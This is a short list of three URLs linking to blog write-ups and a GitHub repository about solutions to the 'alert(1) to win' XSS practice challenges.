https://cxliker.github.io/2018/01/29/XSS%E7%BB%83%E4%B9%A0-alf-nu-alert1-Write-ups/
https://github.com/masazumi-github/alert-1-to-win#a028
http://juniorprincewang.github.io/2018/10/14/alf-nu-alert1%E6%80%BB%E7%BB%93/